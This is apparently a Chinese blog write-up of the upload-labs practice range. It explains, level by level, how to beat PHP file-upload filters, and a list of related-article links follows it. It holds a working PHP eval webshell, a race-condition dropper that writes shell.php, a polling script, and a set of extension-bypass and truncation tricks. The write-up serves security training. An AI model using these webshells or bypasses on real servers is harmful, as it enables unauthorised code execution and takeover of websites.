当前位置: 首页 > news >正文

upload-labs靶场通关详解


Pass-01

绕过js前端检测

我们已经知道会对上传文件进行检测

我们F12,找到checkFile()的方法调用处

然后删掉即可绕过检测(或者将checkFile()改为Ture
在这里插入图片描述

现在可以正常上传.php文件,然后蚁剑连接

然后getshell成功

在这里插入图片描述

Pass-02

绕过MIME检测

查看后端源代码,发现只对MIME类型进行检测

我们创建1.php,写入一句话木马

<?php @eval($_POST['shell']);?>

上传,bp抓包修改MIME的application/octet-streamimage/jpeg

蚁剑连接,getshell成功

Pass-03

老样子传图片马,发现失败

查看源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');//从右向左查找最后一个出现的点号".",并返回该字符及其后面的所有字符$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

结合源代码分析,1.php.1.Php1.php(空格)1.php::$DATA1.php.aa均无法上传成功

那么我们可以上传1.php后,抓包改为1.php3,上传成功

由于phpstudy新版本没有TS,所以无法解析上传的php3文件(被当作文本)

反正是成功绕过

Pass-04

查看源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

发现相比于第三关黑名单多了很多,这次不能用php版本绕过

那么可以用.htaccess配置文件攻击

先打开配置文件

启用AllowOverride

在这里插入图片描述

创建.htaccess文件,写入

<FilesMatch '1.jpg'>
SetHandler application/x-httpd-php
</FilesMatch>

上传后可以匹配到1.jpg,然后被当成php文件解析

我们先上传.htaccess文件

上传成功后,再上传1.jpg

由于phpstudy是新版本,对.htaccess支持存在问题,会出现返回值为空

也就是说.htaccess文件没有上传成功(算是getshell,就是有点无语。。)

Pass-05

源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

发现.htaccess文件被办了

发现.ini文件没有被禁用,又因为提示上传目录存在php文件(readme.php)

我们可以上传.ini文件,让所有php文件都“自动”包含某个文件(比如一句话木马)

不过前提是含有.user.ini的文件夹下需要有正常的php文件

创建.user.ini

auto_prepend_file=1.jpg

上传成功后,再上传1.jpg

我们再访问../upload/readme.php(因为我们的一句话木马包含在readme.php)

成功getshell

Pass-06

源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

.ini被办了,直接卡住。。

仔细发现过滤条件少了大小写转换

结合黑名单,我们可以上传.Php文件绕过

上传成功

在这里插入图片描述

出现服务器配置问题,有点无语

在这里插入图片描述

Pass-07

源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATAif (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

发现过滤条件少了去空格

思路很清晰,bp抓包手动添加空格(重命名windows系统会吞掉空格)

上传1.php文件,添加空格

在这里插入图片描述

成功绕过

在这里插入图片描述

Pass-08

源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

相比于前几关,发现过滤少了去除.

那么我们可以用1.php.绕过

bp抓包手动添加.

在这里插入图片描述

访问../upload/1.php.,成功绕过

在这里插入图片描述

Pass-09

源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

相比于前一关,发现少了过滤条件去除字符串::$DATA

::$DATA是一个流传输,可以把后面的数据当成流处理和.(空格)类似

那么我们可以先上传1.php然后抓包手动添加::$DATA

在这里插入图片描述

访问../upload/202307160004185100.php,成功绕过

(注意访问路径不带有::$DATA

在这里插入图片描述

Pass-10

源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

根据提示,发现只允许上传.jpg|.png|.gif后缀的文件!

但是.htaccess.ini文件都被办了

结合deldot函数,我们可以上传1.php. .绕过

因为deldot函数从后往前检测,检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来

这样我们既绕过了去除点号,也绕过了去除空格

bp抓包,手动修改

在这里插入图片描述

访问../upload/1.php.(空格),成功绕过

在这里插入图片描述

Pass-11

源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;        if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

发现过滤条件会根据黑名单,把我们上传不合格的文件名删掉

$file_name = str_ireplace($deny_ext,"", $file_name);

那么我们可以双写绕过,直接上传1.pphphp

成功绕过

在这里插入图片描述

Pass-12

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}

观察源代码,发现多了一个GET参数save_path,这是我们上传文件的路径

说明我们可以控制我们上传文件的保存路径

move_uploaded_file($temp_file,$img_path)是移动文件的函数

我们上传1.php,路径为../upload/

在这里插入图片描述

由于对文件后缀有检测

我们抓包修改文件后缀

在这里插入图片描述

我们在修改上传路径为../upload/1.php%00

因为当程序检测后缀合法后,通过拼接路径和文件名来保存上传的文件

原本的拼接结果为../uploads/1.php%00/9820230717123050.jpg

由于截断字符,移动文件的时候会将文件保存为../uploads/1.php,从而达到getshell

(这里php版本不满足要求,所以magic_quotes_gpc找不到,也就无法上传成功)

Pass-13

源代码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传失败";}} else {$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}

和第十二关类似,不过上传路径变为POST传参

先上传1.php,然后抓包修改后缀绕过

然后修改POST参数为../upload/1.phpa

在这里插入图片描述

点开Hex,找到我们标记的a,修改为00

因为在Hex中改成00后,得到的结果是一个ASCII码为0的字符,也就是null字符或空字符。

在URL编码中,null字符会被替换为%00,从而达到截断效果

因为php版本问题,和第十二关一样

Pass-14

源代码

function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2); //只读2字节fclose($file);$strInfo = @unpack("C2chars", $bin);    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    $fileType = '';    switch($typeCode){      case 255216:            $fileType = 'jpg';break;case 13780:            $fileType = 'png';break;        case 7173:            $fileType = 'gif';break;default:            $fileType = 'unknown';}    return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}

分析源代码,发现会检查上传文件的开头2个字节

那么我们既要绕过文件后缀名检测,也要绕过文件头检测

我们创建1.php,写入

<?php phpinfo();?>

然后修改后缀为.gif

上传抓包,手动添加绕过

在这里插入图片描述

题目告诉我们可以结合文件包含漏洞,点开查看源代码

要利用include函数去文件包含,才能解析木马的执行

(上述页面存在文件包含漏洞)

在这里插入图片描述

Pass-15

源代码

function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}

方法和第十四关相同

Pass-16

源代码

function isImage($filename){//需要开启php_exif模块$image_type = exif_imagetype($filename);switch ($image_type) {case IMAGETYPE_GIF:return "gif";break;case IMAGETYPE_JPEG:return "jpg";break;case IMAGETYPE_PNG:return "png";break;    default:return false;break;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}

方法和第十四关相同

Pass-17

源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];$target_path=UPLOAD_PATH.'/'.basename($filename);// 获得上传文件的扩展名$fileext= substr(strrchr($filename,"."),1);//判断文件后缀与类型,合法才进行上传操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path);if($im == false){$msg = "该文件不是jpg格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".jpg";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagejpeg($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefrompng($target_path);if($im == false){$msg = "该文件不是png格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".png";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagepng($im,$img_path);@unlink($target_path);$is_upload = true;               }} else {$msg = "上传出错!";}}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromgif($target_path);if($im == false){$msg = "该文件不是gif格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".gif";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagegif($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else{$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";}
}

考点是二次渲染,网站展示的是经过二次渲染后的

我们上传的文件得为.jpg.png.gif之一

gif二次渲染容易,我们用准备好的图片马上传,然后下载下来

拉到010里面对比两张图片相同的地方,即未被二次渲染修改

打开比较文件

在这里插入图片描述

找到相同地方,说明没被二次渲染

在其中插入一句话木马或getshell

然后再重新上传

发现被重命名了(当然可以抓包看上传成功后的URL,懒得打开bp了)

在这里插入图片描述

成功访问有文件包含漏洞的URL

在这里插入图片描述

Pass-18

源代码

$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
}

分析一下,发现先对我们上传的文件进行白名单检测,然后会对上传文件重命名,如果不符合,unlink()会删除该文件

也就是说如果我们要传图片马绕过,得要有文件包含漏洞。显然这一关没有,那么我们传的图片马就解析不了,那么就只能传一句话木马

我们可以利用条件竞争上传,因为代码执行的过程是需要耗费时间的,我们只要在上传的一句话被删除之前访问就行了

可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。

创建1.php,写入微调后的一句话木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>

作用:一旦访问到该文件就会在当前目录下生成一个shell.php的一句话

上传bp抓包,清除payload

在这里插入图片描述

改为Null payload,设置无限重复

然后写py脚本,通过它来不停的访问我们上传上去的PHP文件

现在bp开始攻击

在bp攻击的同时,运行脚本,当出现OK时说明访问到了该文件

在这里插入图片描述

那么我们的一句话木马被成功解析,然后蚁剑连接

(注意连接的是我们在当前目录写的shell.php

成功getshell

Pass-19

此题要修改下文件

在这里插入图片描述

源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{require_once("./myupload.php");$imgFileName =time();$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);$status_code = $u->upload(UPLOAD_PATH);switch ($status_code) {case 1:$is_upload = true;$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;break;case 2:$msg = '文件已经被上传,但没有重命名。';break; case -1:$msg = '这个文件不能上传到服务器的临时文件存储目录。';break; case -2:$msg = '上传失败,上传目录不可写。';break; case -3:$msg = '上传失败,无法上传该类型文件。';break; case -4:$msg = '上传失败,上传的文件过大。';break; case -5:$msg = '上传失败,服务器已经存在相同名称文件。';break; case -6:$msg = '文件无法上传,文件不能复制到目标目录。';break;      default:$msg = '未知错误!';break;}
}//myupload.php
class MyUpload{
......
......
...... var $cls_arr_ext_accepted = array(".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",".html", ".xml", ".tiff", ".jpeg", ".png" );......
......
......  /** upload()**** Method to upload the file.** This is the only method to call outside the class.** @para String name of directory we upload to** @returns void**/function upload( $dir ){$ret = $this->isUploadedFile();if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->setDir( $dir );if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->checkExtension();if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->checkSize();if( $ret != 1 ){return $this->resultUpload( $ret );    }// if flag to check if the file exists is set to 1if( $this->cls_file_exists == 1 ){$ret = $this->checkFileExists();if( $ret != 1 ){return $this->resultUpload( $ret );    }}// if we are here, we are ready to move the file to destination$ret = $this->move();if( $ret != 1 ){return $this->resultUpload( $ret );    }// check if we need to rename the fileif( $this->cls_rename_file == 1 ){$ret = $this->renameFile();if( $ret != 1 ){return $this->resultUpload( $ret );    }}// if we are here, everything worked as planned :)return $this->resultUpload( "SUCCESS" );}
......
......
...... 
};

相比于前一关多了对后缀名检测,所以我们只能传图片马,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其

他漏洞,比如文件包含,apache解析漏洞等。

此题可以结合文件包含漏洞

先创建2.php,写入一句话木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>

利用cmd命令合成图片马

在这里插入图片描述

上传图片马,然后流程跟第十八关类似

不过要修改脚本,因为是结合文件上传漏洞

import requests
url = "http://upload-labs-master/include.php?file=upload/3.png"
while True:html = requests.get(url)if ( 'Warning'  not in  str(html.text)):print('ok')break

bp开始攻击

攻击时运行脚本

在这里插入图片描述

然后蚁剑连接

(注意URL,因为我们修改文件,保存的位置是在根目录)

Pass-20

源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = $_POST['save_name'];$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);if(!in_array($file_ext,$deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true;}else{$msg = '上传出错!';}}else{$msg = '禁止保存为该类型文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

分析源代码,首先会对文件名后缀检测,上传文件类型不能在黑名单中

然后通过pathinfo()内置函数,$file_ext变量将包含$file_name中的文件扩展名(不包括点号)

然后拼接路径$img_path = UPLOAD_PATH . '/' .$file_name;

方法一(文件夹名欺骗绕过)

由于题目的保存文件名是可控的

在这里插入图片描述

我们可以借助move_uploaded_file()的特性会忽略掉文件末尾的 /来进行绕过

(即保存的文件名可以为upload-19.php/.

我们上传php文件的一句话木马

抓包,修改两个位置绕过检测

在这里插入图片描述

成功getshell

(注意URL末尾没有.)

当然,保存的文件名可以为upload-19.php.

在这里插入图片描述

也能绕过

方法二(%00截断攻击)

文件保存为upload-19.php%00.jpg也能绕过

(不过版本问题,上传不成功)

Pass-21

源代码

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}
}else{$msg = "请选择要上传的文件!";
}

注:

reset() 获取数组的第一个元素

end() 获取数组的最后一个元素

count()获取数组或对象的元素数量(至关重要

分析源代码:

  1. 首先是MIME检测
  2. 继续运用三元运算符判断POST的参数是否为空
  3. 然后再判断是否为数组,若不为则根据点号分开(即让文件名和扩展名分别为数组的值)
  4. 接着将拓展名即$file[count($file) - 1]与白名单对比
  5. 最后若合法则拼接路径

绕过条件比较难,不过可以利用POST传参数组

  • 只需要让第一个值即save_name[0]=upload-20.php.php是为了能被解析)
  • 然后再让数组最后一个值为jpg就能绕过

但是这里就有问题,为什么最后一个值jpg不会拼接路径里呢

因在于这个拼接过程用的是count函数,如果数组有三位,但是有一位为空,最后count出来的数就为2,而非为3。

所以我们传参save_name[2]=jpg,让save_name[1]为空即可

上传抓包

在这里插入图片描述

成功getshell

相关文章:

upload-labs靶场通关详解

文章目录 Pass-01Pass-02Pass-03Pass-04Pass-05Pass-06Pass-07Pass-08Pass-09Pass-10Pass-11Pass-12Pass-13Pass-14Pass-15Pass-16Pass-17Pass-18Pass-19Pass-20方法一&#xff08;文件夹名欺骗绕过&#xff09;方法二&#xff08;%00截断攻击&#xff09; Pass-21 Pass-01 绕过…...

Leetcode刷题笔记--Hot41-50

1--二叉树的层序遍历&#xff08;102&#xff09; 主要思路&#xff1a; 经典广度优先搜索&#xff0c;基于队列&#xff1b; 对于本题需要将同一层的节点放在一个数组中&#xff0c;因此遍历的时候需要用一个变量 nums 来记录当前层的节点数&#xff0c;即 nums 等于队列元素的…...

「MySQL-02」数据库的操纵、备份、还原和编码规则

目录 一、库操作 1. 创建数据库 2. 查看所有数据库 3. 删除数据库 4. 修改数据库 5. 进入一个数据库 二、查看和设置数据库的编码规则 1. MySQL的两个编码规则&#xff1a;字符集和校验规则 2. 查看MySQL当前使用的字符集以及校验规则 3. 查看MySQL支持的所有字符集 4. 查看MyS…...

Effective C++条款24——若所有参数皆需类型转换,请为此采用non-member涵数(设计与声明)

我在导读中提过&#xff0c;令classes支持隐式类型转换通常是个糟糕的主意。当然这条规则有其例外&#xff0c;最常见的例外是在建立数值类型时。假设你设计一个class用来表现有理数&#xff0c;允许整数“隐式转换”为有理数似乎颇为合理。的确&#xff0c;它并不比C内置从int…...

决策工具箱:战略分析必备工具与框架

跟随时代的步伐&#xff0c;企业战略也在不断演化。无论是初创企业还是知名企业&#xff0c;都需要有效的战略工具来指导其业务发展。探索这些必备工具&#xff0c;并学习如何最大限度地利用它们&#xff0c;是企业的一个学习目标。 战略分析工具和框架有很多&#xff0c;其中…...

【压力测试指南】没有任何文档,小白也可以做的压力测试

